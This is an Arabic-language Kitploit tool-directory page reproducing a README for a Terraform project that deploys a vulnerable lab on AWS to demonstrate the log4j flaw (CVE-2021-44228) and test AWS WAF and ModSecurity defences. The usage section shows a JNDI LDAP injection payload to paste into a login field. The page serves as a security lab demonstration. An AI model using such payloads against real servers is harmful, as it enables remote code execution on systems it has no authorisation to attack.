Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
tf-log4j-aws-poc — ملفات هذا المشروع توضح إثباتًا لمفهوم ثغرة log4j (CVE-2021-44228) على AWS باستخدام وسائل البنية التحتية كرمز Terraform. | Kitploit
أدوات/GitHubGitHub/moshuum/tf-log4j-aws-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأمن السحابة
GitHubmoshuum/tf-log4j-aws-poc

tf-log4j-aws-poc

ملفات هذا المشروع توضح إثباتًا لمفهوم ثغرة log4j (CVE-2021-44228) على AWS باستخدام وسائل البنية التحتية كرمز Terraform.

عرض المستودع
1منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Readme

وصف المشروع

ملفات هذا المشروع تُظهر إثبات المفهوم لثغرة log4j (CVE-2021-44228) على AWS باستخدام وسائل البنية التحتية ككود (Terraform).

يوجد عرضان توضيحيان في هذا المشروع:

  1. مثيل واحد (single-instance) يحتوي على خادم ضعيف، يمكنك استخدام جهازك الشخصي لاستغلال الخادم، ويجب حماية الخادم بـ AWS WAF.
  2. مثيل مزدوج (double-instance) يحتوي على خدمتين، لا يمكن الوصول إلى الخادم الضعيف إلا من خادم الوكيل العكسي (reverse proxy)، ويجب حماية الوكيل العكسي بـ ModSecurity.

الخلاصة: العرض الأول يُظهر استغلالًا ناجحًا باستخدام AWS WAF. العرض الثاني كان محاولة غير ناجحة عند تثبيت ModSecurity. إزالة ModSecurity ستجعل الاستغلال ناجحًا. قد يكون ذلك لأن ModSecurity مشروع نشط، لذلك تم تحديد وسلاسل الثغرة وتصفيتها.

الإسناد

مصدر إثبات المفهوم هذا من: https://github.com/kozmer/log4j-shell-poc

تشرح هذه المدونة على Medium كيفية سير محاولتها: https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873

اختباراتي

شخصيًا، اختبرت باستخدام Windows + Powershell، الجهاز السحابي هو Ubuntu 18 LTS. (الاستغلال باستخدام Kali أو أي توزيعة Linux)

المتطلبات الأساسية

  1. تثبيت AWS_CLI
  2. تثبيت Terraform CLI
  3. تجهيز مفتاح الوصول (Access key)

مفتاح RSA

أنشئ عبر الويب (سمِّه 'tf-aws'): https://console.aws.amazon.com/ec2/v2/home?#KeyPairs

الحصول على مفتاح الوصول

https://us-east-1.console.aws.amazon.com/iamv2/home#/users > حدد المستخدم > حدد قسم security_credentials

تعيين مفتاح الوصول في شل

Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"

Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"

الاستخدام

إعداد EC2 في منصة AWS

cd single-instance
terraform init
terraform apply

بعد التشغيل، سيتم عرض عنوان IP / DNS.

للمثيل الفردي، تأكد من إمكانية الوصول إلى http:<aws host url>:8080

للمثيل المزدوج، تأكد من إمكانية الوصول إلى http:<aws host url>

* يرجى ملاحظة أن تشغيل 'double-instance' يستغرق وقتًا أطول بكثير، يمكنك استخدام journalctl -f بعد SSH إلى النظام لمتابعة التقدم.

إذا تابعت journal، فإن "Reached target Cloud-init target." يعني أنه في حالة الاستعداد.
exploit

إعداد العميل عن بُعد / المضيف المحلي (المهاجم):

تعيين صلاحية التنفيذ chmod +x ../exploit-script-remote.sh

تشغيل البرنامج النصي مع المتغير المقدم ../exploit-script-remote.sh

لاحظ أن الحمولة تُعرض في نهاية البرنامج النصي مشابهة لـ ${jndi:ldap://<ip-address>:1389/a}

الخادم الضعيف:

زيارة http:<aws host url>:8080

انسخ الحمولة في حقل 'username' ثم أرسل النموذج

exploit

ملاحظة

ملف JDK: تأكد من أن التكامل من مصدر Baidu بنفس التجزئة من Oracle SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974

المراجع

المثيل: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance

المثيل الفوري: https://www.tderflinger.com/en/ec2-spot-with-terraform

SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html

[مفتاح SSH أثناء التشغيل] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform

WAF: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/

القوالب: https://spacelift.io/blog/terraform-templates

معرف منطقة AWS: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-availability-zones

الدروس المستفادة

  • (وقت طويل أُهدر) لا تستخدم provision كبرنامج bash النصي، استخدم القالب بدلاً من ذلك (يمكن رؤية إمكانية خفض الصلاحيات بشكل أفضل)
  • مفتاح RSA المُنشأ عبر الويب أكثر موثوقية من المُنشأ يدويًا من aws-cli إذا كنت تستخدم .pem (توافق ملف .pem مع عميل SSH أو خادم AWS) وإلا استخدم مفتاح RSA عادي بدون pem.
  • تمكنت من استخدام المثيل الفوري بدلاً من العادي لتوفير بعض التكاليف
  • قد يؤدي كشف Docker للمنفذ إلى تجاوز قواعد جدار الحماية
  • (وقت طويل أُهدر) إعداد الشبكات واستكشاف أخطائها يستغرق وقتًا طويلاً - تحتاج Route و VPC إلى مجموعة أمان واحدة، ويحتاج مضيف EC2 إلى مجموعة أمان أخرى - وكلتا مجموعتي الأمان تحتاجان إلى الإشارة إلى VPC
  • لا يمكن لـ wget القيام بجلسة تنزيل طويلة

# تتبع الوقت

  • البداية 06 يونيو 11 صباحًا UTC+0800 - 07 يونيو 4 صباحًا (اكتمل poc+tf+aws -waf) - 17 ساعة
  • البداية 07 يونيو 1 مساءً UTC+0800 - 08 يونيو 5 صباحًا (اكتملت الحالة الثانية حيث تم استخدام وكيل عكسي)
تنزيل الأداة